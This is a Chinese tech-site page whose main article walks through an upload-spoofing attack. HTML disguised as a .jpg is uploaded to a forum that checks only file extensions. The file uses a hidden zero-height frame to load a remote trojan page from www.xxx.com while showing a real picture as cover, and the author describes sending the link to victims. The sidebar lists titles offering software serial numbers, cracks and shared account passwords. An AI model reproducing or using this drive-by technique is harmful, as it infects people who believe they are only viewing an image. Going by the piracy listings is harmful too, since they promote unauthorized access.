- 1PS提示：因為圖層已鎖定，無法編輯圖層的處理方法
- 2picacg蘋果版怎么找不到|picacg ios版是不是下架了介紹
- 3Adobe Illustrator CS5 序列號大全
- 4ACDsee注冊碼免費分享（含ACDsee18、ACDsee10等版本）
- 5Potato(土豆聊天)怎么換頭像|Potato app更改頭像方法介紹
- 6PDF瀏覽器能看3D文件嗎？PDF瀏覽器看3D文件圖文詳細教程
- 7Potato(馬鈴薯聊天)怎么注冊不了|Potato不能注冊處理方法介紹
- 8最新的Adobe Illustrator CS4序列號大全
- 9Intel i7-9700K性能跑分曝光：同代提升約12%
- 10Intel Z390主板有望10月8日公布：8核9代酷睿隨后登場
- 11XP系統怎么清除緩存？
- 12ACDSee與2345看圖王哪一個好用？區別比較
[摘要]這個漏洞適用于所有只檢查上傳文件格式的程序， 把圖片改成HTML代碼， 上傳后可執行 做轉向， 發現的過程是我今天看了一下某門戶網站的BBS上做了過濾， 上傳失敗， 然后回到主頁上， 發現是動力系統...
這個漏洞適用于所有只檢查上傳文件格式的程序， 把圖片改成HTML代碼， 上傳后可執行 做轉向， 發現的過程是我今天看了一下某門戶網站的BBS上做了過濾， 上傳失敗， 然后回到主頁上， 發現是動力系統， 于是注冊了一個帳號， 然后到個人管理里， 看到添加文章里面 能上傳、文件， 于是開始想利用的過程。 我開始的構思是直接上傳這樣一個程序。
其實這樣有很大一個漏洞， 別人打開這些JPG網頁后， 圖片顯示不出來， 自然別人就會起疑心， 想到了前段時間的CHM網頁木馬的制作的方法， 變相的利用它應該能達到這樣的效果吧？假如代碼為：
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset>
這樣的一個index.htm， 上傳后發現失敗， 直接顯示原代碼。 于是在代碼的開頭結尾加了如下的代碼：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="cha.htm" frameborder="no" scrolling="no" noresize
marginwidth="0" margingheight="0">
</frameset></html>
測試后頁面已經成了一個木馬頁面， 但是這個木馬一定要有個CHM的人才行， 網站不可能專門提供你上傳這個類型的文件吧？！于是想到遠程的調用， 后把Index.jpg改為代碼：
<html>
<frameset rows="444,0" cols="*">
<frame src="index.htm" framborder="no" scrolling="auto" noresize
marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
上傳后發現 ， 防火墻成功提示病毒， 但是別人打開這個頁面的時候直接是大紅XX， 有腦子的人都會懷疑。 于是想到把這個頁面打開后看成一個圖片， 接著直接把上面的代碼改成：
<html>
<frameset rows="444,0" cols="*">
<frame src="/UpLoadFiles/NewsPhoto/omasuiai.jpg" framborder="no"
scrolling="auto" noresize marginwidth="0" margingheight="0">
<frame src="http://www.xxx.com/cha.htm" frameborder="no"
scrolling="no" noresize marginwidth="0" margingheight="0">
</frameset></html>
這樣打開這個頁面的時候正常顯示圖片， 木馬也能中了！前提是要把這個圖片頁面發給別人， 例如：www.***.com/UpLoadFiles/NewsPhoto/08aXXXXX.jpg， 對方打開后還以為是看到了一張圖片， 其實他已經中木馬了， 再怎么說這個也是上傳的圖片， 而且可以上傳到自己的站里， 不會有人懷疑的！
上面是電腦上網安全的一些基礎常識，學習了安全知識，幾乎可以讓你免費電腦中毒的煩擾。
標簽：圖片上傳欺騙攻擊
推薦資訊 總人氣榜
最新教程 本月人氣
- 1Revit創建標高的3個方法
- 2Revit材質與Revit材質庫的使用方法
- 3Revit用戶應用心得5則
- 4Revit快捷鍵設置方法 Revit自定義快捷鍵的方法
- 5Revit族怎么使用？Revit族使用方法
- 6Revit2016安裝與破解圖文詳細教程（含密鑰與注冊機）
- 7Revit渲染器渲染流程
- 8Revit可載入族詳細介紹
- 9Revit系統族概念介紹
- 10Revit結構族概念介紹與分類
- 11什么是Revit族？Revit族概念介紹
- 12什么是Revit視圖樣板？Revit視圖樣板的詳細介紹
- 1搜狐視頻會員看美劇 5.30最新搜狐視頻會員賬號搜狐視頻vip賬號共享 搜狐視頻賬號
- 2芒果tv會員賬號共享2017.5.27芒果tv最新共享vip會員賬號更新
- 3黃油相機怎么刪除水印？黃油相機刪除水印的方法
- 4Word文檔頁碼從第二頁起出現的設置方法
- 5全民k歌怎么刪除自己的作品|全民K歌刪除自己歌曲方法介紹
- 6晃臉怎么刪除作品|晃臉刪除視頻方法介紹
- 72017年05月31日迅雷賬號共享
- 8迅雷會員pf11免費的 2017迅雷賬號共享免費vip 每日共享帳號密碼5.30
- 92017.5.30芒果tv最新vip會員帳號共享每天更新 2017芒果會員賬號共享
- 10百度云vip會員賬號共享2017 5月30日百度云會員賬號共享更新
- 11搜狐vip賬號與密碼2017 搜狐會員賬號密碼共享5.30
- 122017年05月28日迅雷會員賬號分享
